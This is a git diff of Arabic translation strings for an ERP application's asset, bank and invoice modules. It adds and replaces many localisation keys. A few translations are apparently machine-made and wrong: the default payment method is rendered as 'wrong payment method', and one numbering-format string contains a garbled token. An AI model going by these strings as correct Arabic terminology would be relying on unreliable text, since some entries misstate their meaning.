Generic # -Assets = Assets -NewAsset = New asset -AccountancyCodeAsset = Accounting code (asset) -AccountancyCodeDepreciationAsset = Accounting code (depreciation asset account) -AccountancyCodeDepreciationExpense = Accounting code (depreciation expense account) -NewAssetType=New asset type -AssetsTypeSetup=Asset type setup -AssetTypeModified=Asset type modified -AssetType=Asset type -AssetsLines=Assets +NewAsset=أصل جديد +AccountancyCodeAsset=كود المحاسبة (الأصول) +AccountancyCodeDepreciationAsset=كود المحاسبة (حساب إهلاك الاصول) +AccountancyCodeDepreciationExpense=كود المحاسبة (حساب مصاريف الإهلاك) +AssetsLines=الأصول DeleteType=حذف -DeleteAnAssetType=Delete an asset type -ConfirmDeleteAssetType=Are you sure you want to delete this asset type? -ShowTypeCard=وتبين من نوع '٪ ق' +DeleteAnAssetType=حذف نموذج أصل +ConfirmDeleteAssetType=هل أنت متأكد أنك تريد حذف نموذج الأصول هذا؟ +ShowTypeCard=عرض الموديل "%s" # Module label 'ModuleAssetsName' -ModuleAssetsName = Assets +ModuleAssetsName=الأصول # Module description 'ModuleAssetsDesc' -ModuleAssetsDesc = Assets description +ModuleAssetsDesc=وصف الأصول # # Admin page # -AssetsSetup = Assets setup -Settings = Settings -AssetsSetupPage = Assets setup page -ExtraFieldsAssetsType = Complementary attributes (Asset type) -AssetsType=Asset type -AssetsTypeId=Asset type id -AssetsTypeLabel=Asset type label -AssetsTypes=Assets types +AssetSetup=إعداد الأصول +AssetSetupPage=صفحة إعداد الأصول +ExtraFieldsAssetModel=السمات التكميلية (نموذج الأصول) + +AssetsType=نموذج الأصول +AssetsTypeId=معرف نموذج الأصل +AssetsTypeLabel=تسمية نموذج الأصول +AssetsTypes=نماذج الأصول +ASSET_ACCOUNTANCY_CATEGORY=مجموعة محاسبة الأصول الثابتة # # Menu # -MenuAssets = Assets -MenuNewAsset = New asset -MenuTypeAssets = Type assets -MenuListAssets = قائمة -MenuNewTypeAssets = جديد -MenuListTypeAssets = قائمة +MenuAssets=الأصول +MenuNewAsset=أصل جديد +MenuAssetModels=أصول النموذج +MenuListAssets=قائمة +MenuNewAssetModel=نموذج الأصول الجديدة +MenuListAssetModels=قائمة # # Module # -NewAssetType=New asset type -NewAsset=New asset +ConfirmDeleteAsset=هل تريد حقًا إزالة هذا الأصل؟ + +# +# Tab +# +AssetDepreciationOptions=خيارات الإهلاك +AssetAccountancyCodes=حسابات المحاسبة +AssetDepreciation=الاستهلاك + +# +# Asset +# +Asset=أصل +Assets=الأصول +AssetReversalAmountHT=مبلغ عكسي (بدون ضرائب) +AssetAcquisitionValueHT=مبلغ الاستحواذ (بدون ضرائب) +AssetRecoveredVAT=استرداد ضريبة القيمة المضافة +AssetReversalDate=تاريخ الانعكاس +AssetDateAcquisition=تاريخ الاستحواذ +AssetDateStart=تاريخ البدء +AssetAcquisitionType=نوع الاستحواذ +AssetAcquisitionTypeNew=جديد +AssetAcquisitionTypeOccasion=استخدم +AssetType=نوع الأصل +AssetTypeIntangible=غير الملموسة +AssetTypeTangible=ملموس +AssetTypeInProgress=قيد التنفيذ +AssetTypeFinancial=الأمور المالية +AssetNotDepreciated=غير مستهلكة +AssetDisposal=ازالة +AssetConfirmDisposalAsk=هل أنت متأكد من أنك تريد التخلص من الأصل %s ؟ +AssetConfirmReOpenAsk=هل أنت متأكد من أنك تريد إعادة فتح الأصل %s ؟ + +# +# Asset status +# +AssetInProgress=قيد التنفيذ +AssetDisposed=استبعاده +AssetRecorded=محسوب + +# +# Asset disposal +# +AssetDisposalDate=تاريخ التصرف +AssetDisposalAmount=قيمة التخلص +AssetDisposalType=نوع التخلص +AssetDisposalDepreciated=استهلاك سنة التحويل +AssetDisposalSubjectToVat=يخضع التصرف لضريبة القيمة المضافة + +# +# Asset model +# +AssetModel=نموذج الأصول +AssetModels=نماذج الأصول + +# +# Asset depreciation options +# +AssetDepreciationOptionEconomic=الاستهلاك الاقتصادي +AssetDepreciationOptionAcceleratedDepreciation=الاستهلاك المعجل (الضريبة) +AssetDepreciationOptionDepreciationType=نوع الإهلاك +AssetDepreciationOptionDepreciationTypeLinear=خطي +AssetDepreciationOptionDepreciationTypeDegressive=الانحدار +AssetDepreciationOptionDepreciationTypeExceptional=استثنائي +AssetDepreciationOptionDegressiveRate=معدل الانحدار +AssetDepreciationOptionAcceleratedDepreciation=الاستهلاك المعجل (الضريبة) +AssetDepreciationOptionDuration=مدة +AssetDepreciationOptionDurationType=اكتب المدة +AssetDepreciationOptionDurationTypeAnnual=سنوي +AssetDepreciationOptionDurationTypeMonthly=شهريا +AssetDepreciationOptionDurationTypeDaily=اليومي +AssetDepreciationOptionRate=معدل (%%) +AssetDepreciationOptionAmountBaseDepreciationHT=قاعدة الإهلاك (باستثناء ضريبة القيمة المضافة) +AssetDepreciationOptionAmountBaseDeductibleHT=الوعاء القابل للخصم (باستثناء ضريبة القيمة المضافة) +AssetDepreciationOptionTotalAmountLastDepreciationHT=إجمالي مبلغ الاستهلاك الأخير (باستثناء ضريبة القيمة المضافة) + +# +# Asset accountancy codes +# +AssetAccountancyCodeDepreciationEconomic=الاستهلاك الاقتصادي +AssetAccountancyCodeAsset=أصل +AssetAccountancyCodeDepreciationAsset=الاستهلاك +AssetAccountancyCodeDepreciationExpense=مصاريف الاستهلاك +AssetAccountancyCodeValueAssetSold=قيمة الأصول المتخلص منها +AssetAccountancyCodeReceivableOnAssignment=مستحق عند التصرف +AssetAccountancyCodeProceedsFromSales=حصيلة التصرف +AssetAccountancyCodeVatCollected=تم تحصيل ضريبة القيمة المضافة +AssetAccountancyCodeVatDeductible=استرداد ضريبة القيمة المضافة على الأصول +AssetAccountancyCodeDepreciationAcceleratedDepreciation=الاستهلاك المعجل (الضريبة) +AssetAccountancyCodeAcceleratedDepreciation=الحساب +AssetAccountancyCodeEndowmentAcceleratedDepreciation=مصاريف الاستهلاك +AssetAccountancyCodeProvisionAcceleratedDepreciation=التملك / المخصصات + +# +# Asset depreciation +# +AssetBaseDepreciationHT=أساس الإهلاك (باستثناء ضريبة القيمة المضافة) +AssetDepreciationBeginDate=بدء الاستهلاك +AssetDepreciationDuration=مدة +AssetDepreciationRate=معدل (%%) +AssetDepreciationDate=تاريخ الإهلاك +AssetDepreciationHT=الاستهلاك (باستثناء ضريبة القيمة المضافة) +AssetCumulativeDepreciationHT=الاستهلاك التراكمي (باستثناء ضريبة القيمة المضافة) +AssetResidualHT=القيمة المتبقية (باستثناء ضريبة القيمة المضافة) +AssetDispatchedInBookkeeping=تم تسجيل الإهلاك +AssetFutureDepreciationLine=الاستهلاك المستقبلي +AssetDepreciationReversal=انعكاس، ارتداد، انقلاب + +# +# Errors +# +AssetErrorAssetOrAssetModelIDNotProvide=لم يتم توفير معرف الأصل أو صوت النموذج +AssetErrorFetchAccountancyCodesForMode=خطأ عند استرداد حسابات المحاسبة لوضع الإهلاك "%s" +AssetErrorDeleteAccountancyCodesForMode=حدث خطأ عند حذف حسابات المحاسبة من وضع الإهلاك "%s" +AssetErrorInsertAccountancyCodesForMode=خطأ عند إدخال حسابات المحاسبة في وضع الإهلاك "%s" +AssetErrorFetchDepreciationOptionsForMode=حدث خطأ عند استرداد خيارات وضع الإهلاك "%s" +AssetErrorDeleteDepreciationOptionsForMode=حدث خطأ عند حذف خيارات وضع الإهلاك "%s" +AssetErrorInsertDepreciationOptionsForMode=خطأ عند إدخال خيارات وضع الإهلاك "%s" +AssetErrorFetchDepreciationLines=خطأ عند استرداد بنود الإهلاك المسجلة +AssetErrorClearDepreciationLines=خطأ عند إزالة بنود الإهلاك المسجلة (الانعكاس والمستقبل) +AssetErrorAddDepreciationLine=خطأ عند إضافة بند الإهلاك +AssetErrorCalculationDepreciationLines=خطأ عند حساب بنود الإهلاك (الاسترداد والمستقبل) +AssetErrorReversalDateNotProvidedForMode=لم يتم توفير تاريخ الإلغاء لطريقة الإهلاك "%s" +AssetErrorReversalDateNotGreaterThanCurrentBeginFiscalDateForMode=يجب أن يكون تاريخ الإلغاء أكبر من بداية السنة المالية الحالية أو مساويًا لها لطريقة الإهلاك "%s" +AssetErrorReversalAmountNotProvidedForMode=لم يتم توفير مبلغ الانعكاس لوضع الإهلاك "%s". +AssetErrorFetchCumulativeDepreciation=خطأ عند استرداد مبلغ الإهلاك المتراكم من بند الإهلاك +AssetErrorSetLastCumulativeDepreciation=خطأ عند تسجيل آخر مبلغ إهلاك متراكم diff --git a/htdocs/langs/ar_SA/banks.lang b/htdocs/langs/ar_SA/banks.lang index 6d2a2eaf6eb..d60c9f2361d 100644 --- a/htdocs/langs/ar_SA/banks.lang +++ b/htdocs/langs/ar_SA/banks.lang @@ -114,7 +114,7 @@ TransferTo=إلى TransferFromToDone=التحويل من %sإلى %sمن %s%s قد تم تسجيلة. CheckTransmitter=مرسل ValidateCheckReceipt=تأكيد صحة الشيك المستلم؟ -ConfirmValidateCheckReceipt=Are you sure that you want to submit this check receipt for validation? No changes will be possible once validated. +ConfirmValidateCheckReceipt=هل أنت متأكد أنك تريد إرسال إيصال الشيك هذا للتحقق من صحته؟ لن تكون هناك تغييرات ممكنة بمجرد التحقق من صحتها. DeleteCheckReceipt=حذف هذا الشيك ؟ ConfirmDeleteCheckReceipt=هل انت متأكد أنك تريد حذف هذا الشيك؟ BankChecks=الشيكات المصرفية @@ -172,8 +172,8 @@ SEPAMandate=SEPA mandate YourSEPAMandate=تفويض سيبا الخاص بك FindYourSEPAMandate=This is your SEPA mandate to authorize our company to make direct debit order to your bank. Return it signed (scan of the signed document) or send it by mail to AutoReportLastAccountStatement=قم تلقائيًا بتعبئة الحقل "رقم كشف الحساب البنكي" برقم كشف الحساب الأخير عند إجراء التسوية -CashControl=POS cash control -NewCashFence=New cash control (opening or closing) +CashControl=التحكم النقدي في نقاط البيع +NewCashFence=مراقبة نقدية جديدة (فتح أو إغلاق) BankColorizeMovement=تلوين الحركات BankColorizeMovementDesc=إذا تم تمكين هذه الوظيفة ، يمكنك اختيار لون خلفية محدد لحركات الخصم أو الائتمان BankColorizeMovementName1=لون الخلفية لحركة الخصم @@ -181,7 +181,7 @@ BankColorizeMovementName2=لون الخلفية لحركة الائتمان IfYouDontReconcileDisableProperty=إذا لم تقم بإجراء التسويات البنكية على بعض الحسابات المصرفية ، فقم بتعطيل الخاصية "%s" عليها لإزالة هذا التحذير. NoBankAccountDefined=لم يتم تحديد حساب مصرفي NoRecordFoundIBankcAccount=لا يوجد سجل في الحساب المصرفي. عادةً ما يحدث هذا عندما يتم حذف سجل يدويًا من قائمة المعاملات في الحساب المصرفي (على سبيل المثال أثناء تسوية الحساب المصرفي). سبب آخر هو أنه تم تسجيل الدفعة عندما تم تعطيل الوحدة النمطية "%s". -AlreadyOneBankAccount=Already one bank account defined -SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA transfer: 'Payment Type' at 'Credit Transfer' level -SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=When generatin a SEPA XML file for Credit transfers, the section "PaymentTypeInformation" can now be placed inside the "CreditTransferTransactionInformation" section (instead of "Payment" section). We strongly recommend to keep this unchecked to place PaymentTypeInformation at Payment level, as all banks will not necessarily accept it at CreditTransferTransactionInformation level. Contact your bank before placing PaymentTypeInformation at CreditTransferTransactionInformation level. -ToCreateRelatedRecordIntoBank=To create missing related bank record +AlreadyOneBankAccount=تم تحديد حساب مصرفي واحد بالفعل +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=تحويل SEPA: "نوع الدفع" عند مستوى "تحويل الائتمان" +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=عند إنشاء ملف SEPA XML لعمليات تحويل الرصيد ، يمكن الآن وضع القسم "PaymentTypeInformation" داخل قسم "CreditTransferTransactionInformation" (بدلاً من قسم "Payment"). نوصي بشدة بإبقاء هذا دون تحديد لوضع معلومات نوع الدفع عند مستوى الدفع ، حيث لن تقبلها جميع البنوك بالضرورة على مستوى معلومات التحويل الائتماني. اتصل بالمصرف الذي تتعامل معه قبل تقديم معلومات نوع الدفع على مستوى معلومات تحويل الائتمان. +ToCreateRelatedRecordIntoBank=لإنشاء سجل مصرفي مفقود ذي صلة diff --git a/htdocs/langs/ar_SA/bills.lang b/htdocs/langs/ar_SA/bills.lang index bb5be211cb6..c195801ea6e 100644 --- a/htdocs/langs/ar_SA/bills.lang +++ b/htdocs/langs/ar_SA/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=إحصاءات فواتير العملاء BillsStatisticsSuppliers=إحصاءات فواتير الموردين DisabledBecauseDispatchedInBookkeeping=معطل لأنه تم إرسال الفاتورة إلى مسك الدفاتر DisabledBecauseNotLastInvoice=معطل لأن الفاتورة غير قابلة للحذف. لقد تم تسجيل فواتير بعد هذه الفاتورة وسوف يؤدي ذلك إلى وجود ثقب في نظام العد. +DisabledBecauseNotLastSituationInvoice=معطل بسبب الفاتورة لا يمكن حذفها\nهذه الفاتورة لسيت اخر فاتورة في دورة الفواتير DisabledBecauseNotErasable=معطل لأنه لا يمكن محوه InvoiceStandard=الفاتورة القياسية InvoiceStandardAsk=الفاتورة القياسية InvoiceStandardDesc=هذا النوع من الفاتورة هي فاتورة عام. +InvoiceStandardShort=قياسي InvoiceDeposit=فاتورة الدفعة الأولى InvoiceDepositAsk=فاتورة الدفعة الأولى InvoiceDepositDesc=يتم هذا النوع من الفاتورة عند استلام دفعة أولى. @@ -24,6 +26,7 @@ InvoiceProForma=الفاتورة الأولية InvoiceProFormaAsk=الفاتورة الأولية InvoiceProFormaDesc= الفاتورة المبدئية عبارة عن صورة فاتورة حقيقية ولكنها لا تحتوي على قيمة محاسبية. InvoiceReplacement=استبدال الفاتورة +InvoiceReplacementShort=الاستبدال InvoiceReplacementAsk=فاتورة استبدال الفاتورة InvoiceReplacementDesc= فاتورة الاستبدال تُستخدم لاستبدال فاتورة بالكامل بدون دفعة مستلمة بالفعل.

      ملاحظة: يمكن فقط استبدال الفواتير التي لم يتم سدادها. إذا لم يتم إغلاق الفاتورة التي قمت باستبدالها بعد ، فسيتم إغلاقها تلقائيًا لتصبح "مهجورة". InvoiceAvoir=ملاحظة ائتمانية @@ -55,7 +58,7 @@ CustomerInvoice=فاتورة العميل CustomersInvoices=فواتير العملاء SupplierInvoice=فاتورة مورد SuppliersInvoices=فواتير الموردين -SupplierInvoiceLines=Vendor invoice lines +SupplierInvoiceLines=سطور فاتورة البائع SupplierBill=فاتورة مورد SupplierBills=فواتير الموردين Payment=دفعة @@ -81,14 +84,14 @@ PaymentsReports=تقارير المدفوعات PaymentsAlreadyDone=المدفوعات قد فعلت PaymentsBackAlreadyDone=تم رد الأموال PaymentRule=قاعدة الدفع -PaymentMode=Payment method -PaymentModes=Payment methods -DefaultPaymentMode=Default Payment method -DefaultBankAccount=Default Bank Account -IdPaymentMode=Payment method (id) -CodePaymentMode=Payment method (code) -LabelPaymentMode=Payment method (label) -PaymentModeShort=Payment method +PaymentMode=طريقة الدفع او السداد +PaymentModes=طرق الدفع +DefaultPaymentMode=طريقه تسديد خاطئه +DefaultBankAccount=حساب مصرفي افتراضي +IdPaymentMode=طريقة الدفع (المعرف) +CodePaymentMode=طريقة الدفع (كود) +LabelPaymentMode=طريقة الدفع (التسمية) +PaymentModeShort=طريقة الدفع او السداد PaymentTerm=شروط السداد PaymentConditions=شروط السداد PaymentConditionsShort=شروط السداد @@ -119,7 +122,7 @@ ConvertExcessPaidToReduc=تحويل الفائض المستلم إلى خصم م EnterPaymentReceivedFromCustomer=أدخل الدفعة المستلمة من العميل EnterPaymentDueToCustomer=انشاء استحقاق دفع للعميل DisabledBecauseRemainderToPayIsZero=معطل لأن المتبقي غير المسدد يساوي صفر -PriceBase=Base price +PriceBase=السعر الأساسي BillStatus=حالة الفاتورة StatusOfGeneratedInvoices=حالة الفواتير المنشأة BillStatusDraft=مسودة (يجب التحقق من صحتها) @@ -156,9 +159,10 @@ ErrorInvoiceAvoirMustBeNegative=خطأ ، يجب أن يكون للفاتورة ErrorInvoiceOfThisTypeMustBePositive=خطأ ، يجب أن يحتوي هذا النوع من الفاتورة على مبلغ لا يشمل الضريبة موجبًا (أو فارغًا) ErrorCantCancelIfReplacementInvoiceNotValidated=خطأ ، لا يمكن إلغاء فاتورة تم استبدالها بفاتورة أخرى لا تزال في حالة المسودة ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=تم استخدام هذا الجزء أو آخر لذا لا يمكن إزالة سلسلة الخصم. -ErrorInvoiceIsNotLastOfSameType=Error: The date of invoice %s is %s. It must be posterior or equal to last date for same type invoices (%s). Please change the invoice date. +ErrorInvoiceIsNotLastOfSameType=خطأ: تاريخ الفاتورة %s هو %s. يجب أن تكون لاحقة أو مساوية للتاريخ الأخير للفواتير من نفس النوع (%s). الرجاء تغيير تاريخ الفاتورة. BillFrom=من: BillTo=فاتورة الى: +ShippingTo=شحن الي ActionsOnBill=الإجراءات على الفاتورة RecurringInvoiceTemplate=نموذج او فاتورة متكررة NoQualifiedRecurringInvoiceTemplateFound=لا يوجد نموذج فاتورة متكرر مؤهل للإنشاء. @@ -192,7 +196,7 @@ ConfirmClassifyPaidPartiallyReasonDiscount=المتبقي الغير مدفوع ConfirmClassifyPaidPartiallyReasonDiscountNoVat=المتبقي الغير مدفوع (%s %s) هو خصم ممنوح لأن السداد تم قبل الأجل. أنا أقبل خسارة ضريبة القيمة المضافة على هذا الخصم. ConfirmClassifyPaidPartiallyReasonDiscountVat=المتبقي الغير مدفوع (%s %s) هو خصم ممنوح لأن السداد تم قبل الأجل. أسترد ضريبة القيمة المضافة على هذا الخصم بدون إشعار دائن. ConfirmClassifyPaidPartiallyReasonBadCustomer=عميل سيء -ConfirmClassifyPaidPartiallyReasonBankCharge=Deduction by bank (intermediary bank fees) +ConfirmClassifyPaidPartiallyReasonBankCharge=الخصم من قبل البنك (رسوم البنك الوسيط) ConfirmClassifyPaidPartiallyReasonProductReturned=تم إرجاع بعض المنتجات ConfirmClassifyPaidPartiallyReasonOther=التخلي عن المبلغ لسبب آخر ConfirmClassifyPaidPartiallyReasonDiscountNoVatDesc=هذا الاختيار ممكن إذا تم تزويد فاتورتك بالتعليقات المناسبة. (مثال «فقط الضريبة المقابلة للسعر الذي تم دفعه هي التي تعطي الحق في الخصم») @@ -200,7 +204,7 @@ ConfirmClassifyPaidPartiallyReasonDiscountVatDesc=في بعض البلدان ، ConfirmClassifyPaidPartiallyReasonAvoirDesc=استخدم هذا الاختيار إذا كانت جميع الاختيارات الاخرى لا تناسبك ConfirmClassifyPaidPartiallyReasonBadCustomerDesc=العميل السيئ هو العميل الذي يرفض سداد ديونه. ConfirmClassifyPaidPartiallyReasonProductReturnedDesc=يستخدم هذا الاختيار عندما لا يكتمل السداد بسبب إرجاع بعض المنتجات -ConfirmClassifyPaidPartiallyReasonBankChargeDesc=The unpaid amount is intermediary bank fees, deducted directly from the correct amount paid by the Customer. +ConfirmClassifyPaidPartiallyReasonBankChargeDesc=المبلغ غير المدفوع هو رسوم البنك الوسيط ، يتم خصمها مباشرة من المبلغ الصحيح وهو الذي يدفعه العميل. ConfirmClassifyPaidPartiallyReasonOtherDesc=استخدم هذا الخيار إذا لم يكن هناك خيار مناسب ، على سبيل المثال في الحالة التالية:
      - الدفع غير مكتمل لأن بعض المنتجات تم شحنها مرة أخرى
      - المبلغ المطالب به مهم جدًا لأنه تم نسيان الخصم
      في جميع الحالات ، يجب تصحيح المبلغ المطالب به في نظام المحاسبة عن طريق إنشاء إشعار دائن. ConfirmClassifyAbandonReasonOther=أخرى ConfirmClassifyAbandonReasonOtherDesc=سيتم استخدام هذا الاختيار في جميع الحالات الأخرى. على سبيل المثال ، لأنك تخطط لإنشاء فاتورة بديلة. @@ -236,24 +240,24 @@ AlreadyPaidBack=سددت بالفعل AlreadyPaidNoCreditNotesNoDeposits=سددت (بدون اشعار دائن ودفعات مقدمة) Abandoned=المهجورة RemainderToPay=المتبقي غير مسدد -RemainderToPayMulticurrency=Remaining unpaid, original currency +RemainderToPayMulticurrency=العملة الأصلية المتبقية غير المسددة RemainderToTake=الميلغ المتبقي لاتخاذ -RemainderToTakeMulticurrency=Remaining amount to take, original currency +RemainderToTakeMulticurrency=المبلغ المتبقي ، العملة الأصلية RemainderToPayBack=المبلغ المتبقي للاسترجاع -RemainderToPayBackMulticurrency=Remaining amount to refund, original currency -NegativeIfExcessRefunded=negative if excess refunded +RemainderToPayBackMulticurrency=المبلغ المتبقي للرد ، العملة الأصلية +NegativeIfExcessRefunded=سلبي إذا تم رد المبالغ الزائدة Rest=بانتظار AmountExpected=المبلغ المطالب به ExcessReceived=المبالغ الزائدة المستلمة -ExcessReceivedMulticurrency=Excess received, original currency -NegativeIfExcessReceived=negative if excess received +ExcessReceivedMulticurrency=المبالغ الزائدة المستلمة ، العملة الأصلية +NegativeIfExcessReceived=سلبي إذا تم استلام الفائض ExcessPaid=المبالغ الزائدة المسددة -ExcessPaidMulticurrency=Excess paid, original currency +ExcessPaidMulticurrency=المبالغ الزائدة المدفوعة ، العملة الأصلية EscompteOffered=عرض الخصم (الدفع قبل الأجل) EscompteOfferedShort=خصم SendBillRef=تسليم الفاتورة %s SendReminderBillRef=تسليم الفاتورة %s (تذكير) -SendPaymentReceipt=Submission of payment receipt %s +SendPaymentReceipt=تقديم إيصال الدفع %s NoDraftBills=لا توجد مسودات فواتير NoOtherDraftBills=لا توجد مسودات فواتير أخرى NoDraftInvoices=لا توجد مسودات فواتير @@ -269,8 +273,8 @@ DateMaxPayment=السداد المستحق في DateInvoice=تاريخ الفاتورة DatePointOfTax=Point of tax NoInvoice=لا فاتورة -NoOpenInvoice=No open invoice -NbOfOpenInvoices=Number of open invoices +NoOpenInvoice=لا يوجد فاتورة مفتوحة +NbOfOpenInvoices=عدد الفواتير المفتوحة ClassifyBill=صنف كفاتورة SupplierBillsToPay=فواتير المورد الغير مسددة CustomerBillsUnpaid=فواتير العملاء غير المسددة @@ -280,11 +284,11 @@ SetMode=حدد نوع السداد SetRevenuStamp=حدد ختم الإيرادات Billed=فواتير RecurringInvoices=الفواتير المتكررة -RecurringInvoice=Recurring invoice +RecurringInvoice=فاتورة متكررة RepeatableInvoice=قالب الفاتورة RepeatableInvoices=قالب الفواتير -RecurringInvoicesJob=Generation of recurring invoices (sales invoices) -RecurringSupplierInvoicesJob=Generation of recurring invoices (purchase invoices) +RecurringInvoicesJob=إصدار الفواتير المتكررة (فواتير المبيعات) +RecurringSupplierInvoicesJob=إنشاء الفواتير المتكررة (فواتير الشراء) Repeatable=قالب Repeatables=القوالب ChangeIntoRepeatableInvoice=تحويل إلى قالب فاتورة @@ -391,7 +395,7 @@ DateLastGeneration=تاريخ أحدث اصدار DateLastGenerationShort=تاريخ أحدث اصدار MaxPeriodNumber=العدد الأعلى لإصدار الفاتورة NbOfGenerationDone=عدد الفواتير المنجزة بالفعل -NbOfGenerationOfRecordDone=Number of record generation already done +NbOfGenerationOfRecordDone=عدد إنشاء السجل الذي تم إنجازه بالفعل NbOfGenerationDoneShort=عدد الفواتير المنجزة بالفعل MaxGenerationReached=تم بلوغ الحد الأقصى لعدد الاصدار InvoiceAutoValidate=اعتماد الفواتير تلقائيًا @@ -429,14 +433,24 @@ PaymentConditionShort14D=14 يوما PaymentCondition14D=14 يوما PaymentConditionShort14DENDMONTH=14 يومًا من نهاية الشهر PaymentCondition14DENDMONTH=في غضون 14 يومًا بعد نهاية الشهر +PaymentConditionShortDEP30PCTDEL=__DEPOSIT_PERCENT__%% الإيداع +PaymentConditionDEP30PCTDEL=__DEPOSIT_PERCENT__%% إيداع ، الباقي عند التسليم FixAmount=المبلغ الثابت - بند واحد بالتسمية "%s" VarAmount=المبلغ المتغير (%% إجمالي) VarAmountOneLine=المبلغ المتغير (إجمالي %%.) - بند واحد بالتسمية "%s" -VarAmountAllLines=Variable amount (%% tot.) - all lines from origin +VarAmountAllLines=المبلغ المتغير (%% tot.) - جميع الأسطر من الأصل +DepositPercent=إيداع %% +DepositGenerationPermittedByThePaymentTermsSelected=هذا مسموح به من خلال شروط الدفع المحددة +GenerateDeposit=إنشاء فاتورة إيداع %s%% +ValidateGeneratedDeposit=تحقق من صحة الإيداع الذي تم إنشاؤه +DepositGenerated=تم إنشاء الإيداع +ErrorCanOnlyAutomaticallyGenerateADepositFromProposalOrOrder=يمكنك فقط إنشاء إيداع تلقائيًا من عرض أو طلب +ErrorPaymentConditionsNotEligibleToDepositCreation=شروط الدفع المختارة غير مؤهلة لإنشاء الإيداع التلقائي # PaymentType PaymentTypeVIR=حوالة مصرفية PaymentTypeShortVIR=حوالة مصرفية PaymentTypePRE=أمر دفع الخصم المباشر +PaymentTypePREdetails=علي الحساب PaymentTypeShortPRE=أمر دفع المدين PaymentTypeLIQ=نقدا PaymentTypeShortLIQ=نقدا @@ -471,7 +485,7 @@ RegulatedOn=وتنظم على ChequeNumber=رقم الشيك ChequeOrTransferNumber=رقم شيك / تحويل ChequeBordereau=Check schedule -ChequeMaker=Check/Transfer sender +ChequeMaker=تحقق / تحويل المرسل ChequeBank=الشيكات المصرفية CheckBank=الشيك NetToBePaid=الصافي للدفع @@ -485,7 +499,7 @@ PaymentByChequeOrderedToShort=مدفوعات الشيكات (شامل الضرا SendTo=أرسل إلى PaymentByTransferOnThisBankAccount=الدفع عن طريق التحويل إلى الحساب المصرفي التالي VATIsNotUsedForInvoice=* غير سارية ضريبة القيمة المضافة art-293B من CGI -VATIsNotUsedForInvoiceAsso=* Non applicable VAT art-261-7 of CGI +VATIsNotUsedForInvoiceAsso=* غير سارية ضريبة القيمة المضافة art-261-7 من CGI LawApplicationPart1=من خلال تطبيق القانون 80.335 من 12/05/80 LawApplicationPart2=البضاعة تظل ملكا لل LawApplicationPart3=البائع حتى السداد الكامل ل @@ -517,7 +531,7 @@ Reported=تأخير DisabledBecausePayments=غير ممكن لأن هناك بعض المدفوعات CantRemovePaymentWithOneInvoicePaid=لا يمكن إزالة الدفعة نظرًا لوجود فاتورة مصنفة واحدة على الأقل مدفوعة CantRemovePaymentVATPaid=لا يمكن إزالة الدفعة لأن إقرار ضريبة القيمة المضافة مصنف كمدفوع -CantRemovePaymentSalaryPaid=Can't remove payment since salary is classified paid +CantRemovePaymentSalaryPaid=لا يمكن إزالة الدفعة لأن الراتب مصنف كمدفوع ExpectedToPay=من المتوقع الدفع CantRemoveConciliatedPayment=لا يمكن إزالة الدفعة التي تمت تسويتها PayedByThisPayment=سدد بعدهذه الدفعة @@ -525,7 +539,7 @@ ClosePaidInvoicesAutomatically=تصنيف جميع الفواتير القياس ClosePaidCreditNotesAutomatically=تصنيف جميع اشعارات دائن تلقائيًا على أنها "مدفوعة" عندما يتم استرداد الأموال بالكامل. ClosePaidContributionsAutomatically=تصنيف جميع المساهمات الاجتماعية أو المالية تلقائيًا على أنها "مدفوعة" عندما يتم الدفع بالكامل. ClosePaidVATAutomatically=تصنيف إقرار ضريبة القيمة المضافة تلقائيًا على أنه "مدفوع" عندما يتم الدفع بالكامل. -ClosePaidSalaryAutomatically=Classify automatically salary as "Paid" when payment is done entirely. +ClosePaidSalaryAutomatically=تصنيف الراتب تلقائيًا على أنه "مدفوع" عندما يتم السداد بالكامل. AllCompletelyPayedInvoiceWillBeClosed=سيتم تلقائيًا إغلاق جميع الفواتير المدفوعة وتحول الى "مدفوعة". ToMakePayment=سدد ToMakePaymentBack=تسديد @@ -538,10 +552,10 @@ YouMustCreateStandardInvoiceFirstDesc=يجب عليك إنشاء فاتورة ق PDFCrabeDescription=Invoice PDF template Crabe. A complete invoice template (old implementation of Sponge template) PDFSpongeDescription=Invoice PDF template Sponge. A complete invoice template PDFCrevetteDescription=Invoice PDF template Crevette. A complete invoice template for situation invoices -TerreNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices and %syymm-nnnn for credit notes where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 -MarsNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices, %syymm-nnnn for replacement invoices, %syymm-nnnn for down payment invoices and %syymm-nnnn for credit notes where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 +TerreNumRefModelDesc1=رقم الإرجاع بالتنسيق %syymm-nnnn للفواتير القياسية و %syymm-nnnn للإشعارات الدائنة حيث yy سنة ، mm شهر و nnnn هو رقم تزايد تلقائي تسلسلي بدون فاصل ولا عودة إلى 0 +MarsNumRefModelDesc1=رقم الإرجاع بالتنسيق %syymm-nnnn للفواتير القياسية ، %syymm-nnnn للفواتير البديلة ، %syymm-nnnn لفواتير الدَفعة المقدمة و a0ecb2ecny87m49fz0 هو الرقم التسلسلي لشهر nnny و a0ecb2ecny. مع عدم وجود فاصل ولا عودة إلى 0 TerreNumRefModelError=A bill starting with $syymm already exists and is not compatible with this model of sequence. Remove it or rename it to activate this module. -CactusNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices, %syymm-nnnn for credit notes and %syymm-nnnn for down payment invoices where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 +CactusNumRefModelDesc1=رقم الإرجاع بالتنسيق %syymm-nnnn للفواتير القياسية ، %syymm-nnnn للإشعارات الدائنة و %syymm-nnnn لفواتير الدفعة المقدمة حيث yy هو العام ، mm هو رقم الشهر و nnnnn بدون زيادة تلقائية 0 EarlyClosingReason=سبب الإغلاق المبكر EarlyClosingComment=ملاحظة اغلاق مبكرة ##### Types de contacts ##### @@ -587,7 +601,7 @@ ToCreateARecurringInvoiceGene=لإنشاء فواتير مستقبلية بشك ToCreateARecurringInvoiceGeneAuto=إذا كنت بحاجة إلى إنشاء مثل هذه الفواتير تلقائيًا ، فاطلب من المسؤول تمكين وحدة الإعداد %s 